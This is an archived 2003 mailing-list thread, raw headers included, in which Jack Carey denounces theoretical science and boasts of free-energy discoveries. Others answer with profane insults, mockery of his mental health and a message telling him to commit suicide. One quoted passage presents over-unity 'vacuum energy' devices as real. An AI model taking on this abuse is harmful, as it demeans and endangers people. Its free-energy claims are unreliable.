should see the over plumbed cluster you know what nightmares now located in the gas tank. There motto was if the situation was not broke fix it. Hello if the premise is if not broke. Leave the dimension along. NOT GM that made to much common sense. If Henry Ford came back. 90% of the Eng. Staff would be on the Street in a New York minute holding the contents of their desk in box. His farm boy fix the problem in the field types. Had to know every aspect of the auto. Today the Spark plug guy is clueless of the fuel pump aspect and vice verse. I was in the engineering complex off and on for the entire 30 years. That place was a ZOO. My brother was an experimental model maker. In the 50's and 60's. The were at the pinnacle of inventive Eng. then as the they were in the 20's and 30's. The reason was all the farm boys did not go back to the farm after the war. They went to school on the GI Bill. CS Mott the simple thinking creative visionary prime builder of GM created General Motors Institute in 1916 So he could breed his own Eng.'s. I will copy him. You just follow CS and Henry Ford How can you lose.? The answer is you cannot. Phil Ford is a sharp visionary boy because he is attempting to follow grand Daddy. That Blue Oval idea is a stoke of genius. CS once according to Dr. Dave Doherty a vice president of GMI once asked Boss Kettering about solving the problem of figuring out if his Frig. in Bermuda would loss power then thaw and refreeze. Boss was writing down several premises and then presented his findings to CS. CS says boss that is to dam complicated. WHY don't I just place two ice cubes in a bowl. If they are intact when I return no power outages occurred. Simple deductive reasoning wagon train style problem solving common sense. Boy 24 year old combative college Senior in British Columbia you have never displayed the dimention. You called and were only arrogant on the phone. So you learned zero. You just wasted my time. Do not anymore. OK OK BOY Jack carey 2003 --Boundary_(ID_qPF6zTGLZJVh01+ohWHPRw) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
You are theoretical science on steroids.
 
Have fun commiting suicide
----- Original Message -----
Sent: Tuesday, October 07, 2003 5:28 AM
Subject: THEORETICAL SCIENCE PLEASE JUST DIE AND GO AWAY. Stop wasting my time.

In a message dated 10/7/03 12:23:17 AM Eastern Standard Time, nitro@bctel.org writes:


You are going to kill theoretical science?

REPLY  AND DO NOT KEEP ATTEMPTING TO IMPEDE POSITIVE progress.   They just leave me no choice.  THAT thinking dynamic  HAS to go the way of the dinosaur because we are not attempting as a civilization to progress in the most important aspect,  which is power/energy.

look at the arrogant snide, smug, closed narrowed minded remarks that have been directed at me. By the group your included in that only subscribes to that actually foolish no common sense,  no investigative automatic rejection syndrome,  locked in a box,  style of dogma status que,  iron minded, bastion of ivory tower head up their ass conformity no vision elitist thinking 

   Case in point the theoretical/equation dynamic   of the most if factual important discovery probably in history which is the evolutionary Quantum Leap. Phase conversion tech. was not written until 30 years after the Nikola Tesla inspired from old photos  premise was improved and perfected. The "EQUATION ""ELECTRON FLOW WITHOUT CREATING AN EMF"" was only writen because of the planned corp. creation situation.

Personally I would have never wasted my time. But Wayne Cochran Probably one of the Brightest overall minds in history was very respectful of main stream science because he figured they would be his detractors. But he was not ignorant enough to actually  disclose anything they could steal.  I just ignore them and circumvent them by going  directly to the public because that is the only to factor them out of the equation as an influence. 

UCK science I only care about the business applications as I say   I'm sorry but hello are you there?   Technology is business not science. How the moon and sun function that is science. They cannot even figure those dimensions out because they only employ 3 D thinking dynamics when viewing those premises. 

Theodore Kaluza , Oscar Kline  String theories factoring in 4 D as an avenue of procedure is the correct process of investigation to use as a vantage point for arriving at determinations .BOY  How did you like that statement.? QM died with fuzzy hair. PERIOD Get over that or remain ignorant and combative I care less.  Boy do wish to challenge me

By all means please do. BOY I just displayed dam serious at the razor edge of pure though conceptual realm horse power.  PLUS I"M very tactical and systematic in regard to battle plan dynamics. After all  I by myself caused a turning point in history  at the if combined largest corp. entity on this planet. By totally rearranging the thinking process of probably the top visionary industrial scientist on the planet.

I knew at that juncture that the elimination process of theoretical only science was all down hill from that point. He is about the only one in main stream science I have any respect for. 99% are twerp only what they know is correct,   piano playing,  milk drinking, nose picking, cookie eating,  thumb sucking mommas boy  like your. And Spiteful.

   MY   Respect  was earned Because he was investigative and non judgmental unlike you and did not display an arrogant jerk off God wanna be  GM attitude at all.   Plus he had the guts to admit he did not understand the presentations. Only a real gentlemen would publish statements to that effect. I give him a hard time every time I call him.

  One thing he is a Nikola Tesla fan now. All Carl knew was his physics society gave out a Tesla award.   He is real funny Jack I/m not supposed to speak to you GM legal has my hands tied. But he stated because he is a visionary  changes have to occur.  I feel sorry for him because of the moronic clowns he has to tolerate.  I was at GM for 30 years. BTDT .

They invariably would throw money at problems hoping they would go away instead of attempting to solve them. In the early days they solved problems with simple solutions. Case in point fuel pumps were mounted by the engine. NOW you should see the over plumbed cluster you know what nightmares now located in the gas tank. 

There motto was if the situation was not broke fix it. Hello if the premise  is if not broke. Leave the dimension along. NOT GM  that made to much common sense. If Henry Ford came back. 90% of the Eng. Staff would be on the Street in a New York minute holding the contents of their desk in box. His farm boy fix the problem in the field types. Had to know every aspect of the auto.

Today the Spark plug guy is clueless of the fuel pump aspect and vice verse.   I was in the engineering complex off and on for the entire 30 years. That place was a ZOO.  My brother was an experimental model maker. In the 50's and 60's. The were at the pinnacle of inventive Eng.  then as the they were in the 20's and 30's. The reason was all the farm boys did not go back to the farm after the war. They went to school on the GI Bill.

CS Mott the simple thinking creative visionary prime builder of GM created General Motors Institute in 1916 So he could breed his own Eng.'s. I will copy him.  You just follow CS and Henry Ford How can you lose.? The answer is you cannot.  Phil Ford is a sharp visionary boy because he is attempting to follow grand Daddy. 

That Blue Oval idea is a stoke of genius. CS once according to Dr.  Dave Doherty a vice president of GMI once asked Boss Kettering about solving the problem of figuring  out if his Frig. in Bermuda would loss power then thaw and refreeze.

Boss was writing down several premises and then presented his findings to CS. CS says boss that is to dam complicated.  WHY don't I just place two ice cubes in a bowl. If they are intact when I return  no power outages occurred. 

Simple deductive reasoning wagon train style problem solving common sense. Boy 24 year old combative college Senior in British Columbia you have never displayed the dimention. You called and were only arrogant on the phone. So you learned zero. You just wasted my time. Do not anymore. OK OK BOY
   Jack carey 2003
--Boundary_(ID_qPF6zTGLZJVh01+ohWHPRw)-- From vortexb-l-request@eskimo.com Tue Oct 7 17:56:31 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id RAA27561; Tue, 7 Oct 2003 17:54:28 -0700 Resent-Date: Tue, 7 Oct 2003 17:54:28 -0700 Date: Tue, 07 Oct 2003 17:54:20 -0700 From: nitroburn Subject: Re: HISTOTIC TIMES AHEAD? Will see To: vortexb-l@eskimo.com Message-id: <003301c38d36$b51ccda0$6400a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_GWvzNdzRTAAnAPeTtTydzg)" X-Priority: 3 X-MSMail-priority: Normal References: <115.29aa7849.2cb4b53f@aol.com> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3918 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 204 This is a multi-part message in MIME format. --Boundary_(ID_GWvzNdzRTAAnAPeTtTydzg) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Aren't cars a little too 3D for you Mr. 4D Carey. promotional/presentation is counter productive ego when used as an excuse to spend money on a car. thinking with the cock again eh carey. ----- Original Message ----- From: jcarey9622@aol.com To: vera8877@yahoo.com ; missemichelle@hotmail.com Sent: Tuesday, October 07, 2003 5:33 PM Subject: HISTOTIC TIMES AHEAD? Will see FINALLY the 4 year preparation has been hell. I paid my dues for the vast multi dimensional Quantum leap to the razor edge conceptual dynamic knowledge base. Figuring out the skeptic nay sayer's game I feel totally gives me an edge to concur them as the conquestors had an edge which is fire power, their actions are so boring and predictable. Nothing compares with Knowledge. Except fast cars and fast interesting women. I'm going in style to DC first tomorrow with a Trans AM with Corp. Graphics and a $2000 Sound system and a $2000 set of chrome MOMO wheels. Plus totally foam insulated with dynmat sound deading applications. And thank God No full race rock hard no give suspension 5 speed like that lumber wagon riding Exotic Cobra that I went first to the East coast in and then to the West coast last year for a month total. PROMOTIONAL/presentation IS IMAGE NOT counter productive EGO. Please I do not attempt to act like a demigod. I'm no better than anyone else and no one is better than me. We are in the same boat. The in the box ones only want changes they approve of as if they think they have the right to judge because they paid for an ego driven possible now worthless useless EDU> if theoretical only Because the were not taught correctly which should be with creative thinking and free thought. I lived charmed life I have no complaints. Even the conversation went well with Gene Mallove the Editor of Infinite Energy today when he called from Concord, NH. An awesome breath taking world class dynamic brilliant as my daughter 24 year old big ego crushing boys. Any who has one can count on that. Russian from NYC absolute movie star level knock out near being a Ph.D. as her sister and mother are caused a plan change. That redirected me to the East coast first before the first planned west coast trip. She is a leathal weapon. Plus being able to step above hate, jealously, envy, racism, arrogance, and know it all only what I know is correct attitudes is what evolution is all about. You do not know what your missing. To bad for 98% will not even try to enhance themselves. 98% of the female contacts I have made have been very positive. Not in a sexual sense as the nay sayers would automatically say. Which tells me the are far more evolved than men. 98% of the male contacts have been adversarial and a total waste of time. . jack carey 2003 --Boundary_(ID_GWvzNdzRTAAnAPeTtTydzg) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Aren't cars a little too 3D for you Mr. 4D Carey.
 
 
promotional/presentation is counter productive ego when used as an excuse to spend money on a car.
thinking with the cock again eh carey.
----- Original Message -----
Sent: Tuesday, October 07, 2003 5:33 PM
Subject: HISTOTIC TIMES AHEAD? Will see

                   FINALLY   the 4 year preparation has been hell. I paid my dues for the vast multi dimensional Quantum leap to the razor edge conceptual dynamic  knowledge base. Figuring out the skeptic nay sayer's game I feel totally gives me an edge to concur them as the conquestors had an edge which is  fire power,   their actions are so boring and predictable.  Nothing compares with  Knowledge. 

Except fast cars and fast interesting women. I'm going in style to DC  first tomorrow with a Trans AM  with Corp. Graphics and a $2000 Sound system and a $2000 set of chrome MOMO wheels.  Plus totally foam insulated with dynmat sound deading applications. And thank God No full race rock hard no give suspension  5 speed like that  lumber wagon riding Exotic Cobra that I went first to the East coast in and then to the West coast last year  for a month total. PROMOTIONAL/presentation  IS IMAGE NOT counter productive  EGO. 

Please I do not  attempt to act like a demigod. I'm  no better than anyone else and no one is better than me.  We are in the same boat. The in the box ones  only want changes they approve of as if they think they have the right to judge because they paid for an ego driven  possible now worthless useless EDU> if theoretical only

Because the were not taught correctly which should be  with creative thinking and free thought. I lived  charmed life I have no complaints. Even the conversation went well with Gene Mallove the Editor of Infinite Energy today when he called from Concord, NH.

An awesome breath taking world class dynamic brilliant as my daughter 24  year old big ego crushing boys. Any who has one can count on that.    Russian from NYC  absolute movie star level knock out near being a Ph.D. as her sister and mother are caused a plan change.  That redirected me to the East coast first before the first planned west coast trip. She is a leathal weapon. 

  Plus being able to step above  hate, jealously, envy,  racism, arrogance, and know it all only what I know is correct attitudes is what evolution is all about. You do not know what your missing. To bad for 98%  will not even try to enhance themselves. 98% of the female contacts I have made have been very positive. Not in a sexual sense as the nay sayers would automatically say. Which tells me the are far more evolved than men. 98% of the male contacts have been adversarial and a total waste of time. .      jack carey 2003  
--Boundary_(ID_GWvzNdzRTAAnAPeTtTydzg)-- From vortexb-l-request@eskimo.com Wed Oct 8 13:16:58 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id NAA26187; Wed, 8 Oct 2003 13:13:09 -0700 Resent-Date: Wed, 8 Oct 2003 13:13:09 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: eric@voicenet.com, alternativefuelvehicles@yayoogroups.com Subject: Re: BOYS THE HAMMER IS COMING DOWN Date: Wed, 08 Oct 2003 14:07:32 -0500 Organization: Austin Instruments, Inc. Message-ID: <1pm8ovs86rhr44n51uf4lkfebfblfe3c76@4ax.com> References: <1d9.120c442c.2cb59a1f@aol.com> In-Reply-To: <1d9.120c442c.2cb59a1f@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id NAA25767 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3920 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 205 On Wed, 8 Oct 2003 12:49:35 EDT, you wrote: > YOU LITTLE spiteful immature big ego combative twerp ones and you >know who you are, with your condesending smug little closed narrow >conformity, theoretical only arrogant God wanna be automatic rejection syndrome know >it all and only what you know is correct superior to eveyone attitudes. > >You have no one to blame but yourselfs and are asking for everything you >will be subjected to which is laughed at by everyone not like you. For >swallowing hook line and sinker that moronic no commen sense status que line of shit >they fed you. Rock and Roll time is here Because Daddy is coming east with >an ego crusher in fast flashy loud music playing Trans AM --- You self-important piss-ant know-nothing lowlife slimeball scum sucking pig fucker, who cares what goes on in that pea-sized brain of yours? Or where you go? Or what you do? You're an uneducable babboon with a perverted desire to attain a higher social station in life than you can possibly achieve, and the sooner you come to that realization and stop trying to cheat your way to the top the better off you and everyone around you will be. -- John Fields From vortexb-l-request@eskimo.com Wed Oct 8 14:53:31 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA16139; Wed, 8 Oct 2003 14:51:17 -0700 Resent-Date: Wed, 8 Oct 2003 14:51:17 -0700 Date: Wed, 08 Oct 2003 14:50:25 -0700 From: nitroburn Subject: Re: BOYS THE HAMMER IS COMING DOWN To: vortexb-l@eskimo.com Message-id: <001701c38de6$2e62b080$6400a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_h1Z1L04redYxchBLN2Jx7A)" X-Priority: 3 X-MSMail-priority: Normal References: <157.25c75926.2cb5cd18@aol.com> Resent-Message-ID: <6YBaFD.A.C8D.UbIh_@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3922 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 206 This is a multi-part message in MIME format. --Boundary_(ID_h1Z1L04redYxchBLN2Jx7A) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT You must of read some of it to know who your replying to. ----- Original Message ----- From: JCarey9622@aol.com To: vortexb-l@eskimo.com Cc: eric@voicenet.com ; alternativefuelvehicles@yayoogroups.com Sent: Wednesday, October 08, 2003 1:27 PM Subject: Re: BOYS THE HAMMER IS COMING DOWN REPLY I DID NOT READ YOUR MAIL FOR WHAT REASON COULD IT WORTHWHILE.? I WAS LEAVING for the east coast BUT BROKE MY READING GLASSES SO OUT OF HERE THUS THEN YOUR BASE OF KNOWLEDGE WILL BE HISTORY IF THEORECICAL THEN NO ONE WILL LISTEN TO YOU ANYMORE or the rest of the goof ball moronic clowns like you --Boundary_(ID_h1Z1L04redYxchBLN2Jx7A) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
You must of read some of it to know who your replying to.
----- Original Message -----
Sent: Wednesday, October 08, 2003 1:27 PM
Subject: Re: BOYS THE HAMMER IS COMING DOWN

   REPLY I DID NOT READ YOUR MAIL FOR WHAT REASON COULD IT WORTHWHILE.?    I WAS LEAVING for the east coast BUT BROKE MY READING  GLASSES  SO OUT OF  HERE THUS  THEN YOUR BASE OF KNOWLEDGE WILL BE HISTORY    IF THEORECICAL   THEN NO ONE WILL LISTEN TO YOU ANYMORE   or the rest of the goof ball moronic clowns like you
--Boundary_(ID_h1Z1L04redYxchBLN2Jx7A)-- From vortexb-l-request@eskimo.com Thu Oct 9 10:23:20 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id KAA19045; Thu, 9 Oct 2003 10:18:46 -0700 Resent-Date: Thu, 9 Oct 2003 10:18:46 -0700 Date: Thu, 09 Oct 2003 10:18:41 -0700 From: nitroburn Subject: Re: A TOTAL SKEPTIC To: vortexb-l@eskimo.com Message-id: <003001c38e89$62cfb8b0$6400a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_HkhLzvxnD+g1Gjeq59gi1Q)" X-Priority: 3 X-MSMail-priority: Normal References: Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3929 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 207 This is a multi-part message in MIME format. --Boundary_(ID_HkhLzvxnD+g1Gjeq59gi1Q) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT What is a type 13 Planet? What are all the 13 planet types... ----- Original Message ----- From: JCarey9622@aol.com To: eric@voicenet.com Sent: Thursday, October 09, 2003 10:09 AM Subject: A TOTAL SKEPTIC In a message dated 10/9/03 6:50:41 AM Eastern Standard Time, eric@voicenet.com writes: REPLY The statements attached were uttered by a very narrow closed and totally opinionated type 13 planet dogma thinking type . That subscribes to This is not possible or that is not possible. Because my equation/theories say so indivudal . There is no difference between the thinking dynamic entitys anymore as there was once. For case study purposes WE HAVE HERE A TOTAL SKEPTIC THAT DOES NOT have the tools to evolve with regarding his base of knowledge that he thinks is absoloete as many of his types do You need to understand that realm of thinking was drilled in at an early age and became the dominate aspect of his understanding dynamics. Which are very limited and road blocked and boat anchored by his counter productive elitist giant God wanna be ego. He is a insinigific no body as far as being recognized by his peers as an authority in his field. Where he thinks he is a somebody that along with his ego will be his down fall. He also does not wish to evolve in regard to his base of preached status que supporting not creative thinking and free though taught knowledge. Because he does not have the ability to. That was programed out for a reason called control. By a one sided conformity EDU. If he would have been taught to think for himself he would be open minded investigative inquisitive and always seeking new frontiers and vistas as his forefathers once did. They understood the prime directive necessary that was required to participate in evolution and that was simple not complicated as he subscribes to deductive reasoning real world common sense. Theoretical only is a non functioning world whereas actual physical operational occurrences is the name of game. As a prime directive necessary dimention that drives the attainting of knowledge desire that Leeds to goal of our existence on this planet. For what is more important that evolving the answer is nothing, If we as civilization can retrieve those lost dementions we once had as children then and only then we achieve our manifest destiny. if we accomplish that we will achieve utopia instead of the purgatory we currently face. On the eve of a civilization effecting dramatic thinking and operational dynamics change. I ask you to pounded what may be possible if we would only make the attempt as the ones before us invariable were able to. If I may pontificate For i say on to you as ""JC"" the results of those attempts that succeeded should be plain for all to see. I now will be embarking on a journey in order to attempt the stated directives here within WISH ME GOOD LUCK AND GOD SPEED. IF NOT have a wonderful day. For the efforts I will be attempting are not for us but for the ones that follow us for they are the only ones that matter. THANKS FOR THE PLATFORM MORON jack carey 2003 you have been telling me for 2 years about all the stuff you are going to do and none of it happened (like the 413 scammer who took you). Again, I predict this place will not validate your stuff. I doubt anyone will even be willing to deal with you due to your mental illness. I do not work in the power industry - I produce electronic control systems for robotics and telecommunications. If any of the hundreds of people just like you who believe they will make free energy ever do, I think everybodies standard of living would take off. I can adapt and adjust. Only Arabs would be hurt by FE. Please listen to the people close to you who you have trusted when they tell you to take your meds. I really don't want to see you self destruct from your delusions. --Boundary_(ID_HkhLzvxnD+g1Gjeq59gi1Q) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
What is a type 13 Planet?
What are all the 13 planet types...
 
----- Original Message -----
Sent: Thursday, October 09, 2003 10:09 AM
Subject: A TOTAL SKEPTIC

In a message dated 10/9/03 6:50:41 AM Eastern Standard Time, eric@voicenet.com writes:

    REPLY   The statements  attached were uttered by  a very narrow closed and totally opinionated type 13 planet dogma thinking type . That subscribes to  This is not possible or that is not  possible. Because my equation/theories say so indivudal . There is no difference between the thinking dynamic entitys anymore as there was once.

For case study purposes WE HAVE HERE A TOTAL SKEPTIC THAT DOES NOT have the tools to evolve with regarding his base of knowledge that he thinks is absoloete as many of his types do

You need to understand that realm of thinking was drilled in at an early age and became the dominate aspect of his understanding  dynamics.  Which are very limited and road  blocked and boat anchored by his counter productive elitist giant God wanna be ego.   He is a insinigific no body as far as being recognized by his peers as an authority in his field.  Where he  thinks  he is a somebody  that along with his ego will be his down fall.

He also does not wish to evolve in regard to his base of preached status que supporting not creative thinking and free though taught knowledge. Because he does not have the ability to. That was programed out for a reason called control. By a one sided conformity EDU.  If he would have been taught to think for himself he would be open minded investigative inquisitive and always seeking new frontiers and vistas  as his forefathers once did.

They understood the prime directive necessary that was required to participate in evolution and that was  simple not complicated as he subscribes to deductive reasoning real world common sense. Theoretical only is a non functioning world whereas actual physical operational occurrences is the name of game. As a prime directive necessary dimention that drives the attainting of knowledge desire that Leeds to goal of our existence on this planet.

For what is more important that evolving  the answer is nothing,  If we as civilization can retrieve those lost dementions  we once had as  children  then and only then we achieve our manifest destiny.     if we accomplish  that we will achieve utopia instead of the purgatory we currently face.

On the eve of a civilization effecting dramatic thinking and operational dynamics change.

I ask you to pounded what may be possible if we would only make the attempt as the ones before us invariable   were able to.   If I may pontificate For i say on to you as ""JC"" the results of those attempts that succeeded should be plain for all to see. I now will be embarking  on a journey in order to attempt the stated directives here within       

WISH ME GOOD LUCK AND GOD SPEED. IF NOT have a wonderful day. For the efforts I will be attempting are not for us but for the ones that follow us for they are the only ones that matter.      THANKS FOR THE PLATFORM MORON      jack carey 2003 

you have been telling me for 2 years about all the stuff you are going
to do and none of it happened (like the 413 scammer who took you). 
Again, I predict this place will not validate your stuff.  I doubt anyone
will even be willing to deal with you due to your mental illness.

I do not work in the power industry - I produce electronic control
systems for robotics and telecommunications.  If any of the hundreds
of people just like you who believe they will make free energy ever do,
I think everybodies standard of living would take off.  I can adapt and
adjust.  Only Arabs would be hurt by FE.    Please listen to the people
close to you who you have trusted when they tell you to take your
meds.  I really don't want to see you self destruct from your delusions.




--Boundary_(ID_HkhLzvxnD+g1Gjeq59gi1Q)-- From vortexb-l-request@eskimo.com Thu Oct 9 14:09:13 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA15267; Thu, 9 Oct 2003 14:06:11 -0700 Resent-Date: Thu, 9 Oct 2003 14:06:11 -0700 Date: Thu, 09 Oct 2003 14:03:01 -0700 From: nitroburn Subject: Re: A TOTAL SKEPTIC To: vortexb-l@eskimo.com Message-id: <001a01c38ea8$b9dfaec0$6400a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_5q2tBfEcO4OSWvWzMo715A)" X-Priority: 3 X-MSMail-priority: Normal References: <78.48c2500d.2cb7133e@aol.com> Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3931 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 208 This is a multi-part message in MIME format. --Boundary_(ID_5q2tBfEcO4OSWvWzMo715A) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Ok moron. ----- Original Message ----- From: JCarey9622@aol.com To: vortexb-l@eskimo.com Sent: Thursday, October 09, 2003 12:38 PM Subject: Re: A TOTAL SKEPTIC In a message dated 10/9/03 12:33:34 PM Eastern Standard Time, nitro@bctel.org writes: What is a type 13 Planet? What are all the 13 planet types... CALL IF YOU WISH FOR MORE INFO IF NOT HAVE A WONDEFUL DAY OR SCREW OFF AND SUCK A LEMON WHATEVER IS NECESSARY TO MAKE YOU HAPPY SO YOU CAN PUFF UP YOUR TWERP MORONIC GOOF BALL SMUG CONDENSENDING EGO YOU HAVE DISPLAYED OVER AND OVER I'M NOT LEAVING UNTIL FRI. --Boundary_(ID_5q2tBfEcO4OSWvWzMo715A) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Ok moron.
----- Original Message -----
Sent: Thursday, October 09, 2003 12:38 PM
Subject: Re: A TOTAL SKEPTIC

In a message dated 10/9/03 12:33:34 PM Eastern Standard Time, nitro@bctel.org writes:


What is a type 13 Planet?
What are all the 13 planet types...

          CALL IF YOU WISH FOR MORE INFO IF NOT HAVE A WONDEFUL DAY  OR SCREW OFF AND SUCK A LEMON  WHATEVER IS NECESSARY TO MAKE YOU HAPPY SO YOU CAN  PUFF UP YOUR TWERP MORONIC GOOF BALL  SMUG CONDENSENDING EGO YOU HAVE DISPLAYED OVER AND OVER   I'M NOT LEAVING UNTIL FRI. 

--Boundary_(ID_5q2tBfEcO4OSWvWzMo715A)-- From vortexb-l-request@eskimo.com Mon Oct 13 06:20:39 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id GAA15287; Mon, 13 Oct 2003 06:18:50 -0700 Resent-Date: Mon, 13 Oct 2003 06:18:50 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: zeoez@comcast.net Subject: Re: Magnetic Pole Shifting OH BOY CLUSTER YOU know what over plumbed nightmare Date: Mon, 13 Oct 2003 08:17:57 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <161.2698dc94.2cbb98c5@aol.com> In-Reply-To: <161.2698dc94.2cbb98c5@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id GAA15252 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3940 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 209 On Mon, 13 Oct 2003 01:57:25 EDT, you wrote: >In a message dated 10/12/03 10:48:20 PM Eastern Standard Time, >zeoez@comcast.net writes: > > >> Thought this will interest some of you. >> REPLY IF I WANTED TO NOT BE ABLE TO COMMUNICATE WITH 99% OF the >> people on this planet that would be the only interest there would be. --- So then you're interested? That is, you already can't communicate with far less than 1% of the planet so there must be a huge interest! --- >> Plus below >> is all obsolete and that will become known as such in a few days. I was >> delayed until a tues.departure in order to wipe this type of knowledge off the >> boards as a influence factor in our society . --- Wipe away, asshole. Instead of trying to destroy what you're afraid of because you don't understand it, you ought to try a little humility and ask for help. --- >> Once that occurs then and only >> then as Nikola Tesla once stated about the underrstanding of electricity will >> we actually know something . --- A quote would be preferable to a paraphrase colored by your own misunderstanding. --- > THIS displayed totally complacated when the description should be >simple knowledge below is the >> prime reason we as a civilization are not progressing out the 19 th century >> equation/theoretical thinking realm we are still in . The new wave is >> theory=operational/functioning =equation. You the only what you know is correct >> ones among you wil have no choice but to subscribe to that thinking dynamic. >> Unless your happy as you are if so the final nail will be pounded your box and >> then probably you have to be told you where to bury the dimention. Because >> 99% cannot even figure that aspect out. --- You yearn for simplicity because of your inability to grasp interrelationships, yet simplicity resulting from great complexity is at your fingertips. What could be simpler than sitting at a keyboard and sending messages all over the world? Very little. What could be more complex than the technology enabling that apparent simplicity? A lot. It's plain to see that progress necessarily includes complication, yet your point of view remains that, somehow, wagon wheels are better than tires. You need a new, less pig-headed point of view. --- >> Another method that might cohere the ZPE is to induce a ratcheting, >> semi-vortical motion of nuclei by abruptly twisting a crystalline lattice. Lattice >> twisting can occur in ferromagnetic materials when subject to alternating >> magnetic fields. As the magnetic domains shift, they can launch acoustical spinor >> waves (Ciplak, 1980). An abrupt lattice twist [pole shift] can occur if the >> magnetic material is driven to hysteresis saturation, and then pulsed >> oppositely. The saturation state elastically stresses the lattice, and the reverse >> pulse triggers the lattice to snap back. Aspden (1990) had identified >> hysteresis saturation as a significant state for generating energetic anomalies [over >> unity] with magnetic materials. The nuclei motion from the lattice can cause >> the vacuum energy vortex which manifests as an excess magnetic pulse. This >> type of activity could be occurring in the stators of Adam’s (1993) pulsed >> magnetic motor, an invention claimed to produce excessive power. >> >> Sweet (1991) also appears to utilize lattice twisting in the conditioned >> barium ferrite magnets of his solid state energy invention known as the “vacuum >> triode amplifier” (VTA). Normally barium ferrite is used for permanent >> magnets, and its domains do not readily shift. Instead, Sweet cracks and loosens >> the lattice itself with the conditioning process. The barium ferrite block >> (6x4x1 inches) should be sintered by the manufacturer such that the ceramic is >> not overly hard. The manufactures make permanent magnets: An AC current is >> impressed on a coil surrounding the material to erase any residual >> magnetization. Then a large pulse from a capacitor bank (a typical manufacturer uses 100 >> microfarads at 15KV) is fired through the coil to align the domain into a >> permanent magnet. Sweet’s conditioning coil surrounds the (6x4) perimeter of the >> barium ferrite block and consists of 600 turns of No. 28 wire. He drives it >> at 60 Hz with a few amps and them switches a large pulse from a 6500 >> microfarad capacitor at 450 volts (values reported by Watson, 1993) through the coil, >> timed at the peak of the 60 Hz sine wave. Unless the ceramic is loosely >> sintered, it is unlikely one firing will crack the lattice. The barium ferrite >> block should then be turned over (or the coil polarity reversed) and the process >> repeated such that the domains are driven to the opposite polarity from the >> next capacitor pulse. The conditioning process should be repeated over and >> over, altering the polarity each time. The process is analogous to cold >> working a strip of metal by bending it back and forth until it breaks. The lattice >> will form micro cracks and loosen such that the magnetic domains appear to >> readily oscillate when excited by a weak AC magnetic field. It is really not >> the magnetic domains that are shifting; it would be more accurate to describe >> the cracked portions as acoustical domains since it is the lattice grains that >> are shifting. Thus in a straight forward manner Sweet has created a >> twistable solid state lattice that exhibits an acoustic resonance at the conditioning >> frequency (60 Hz). >> >> Does this mean that permanent magnets can be pre-programmed to flip >> polarities with a small energy input? >> >> Is it possible that such magnets are already 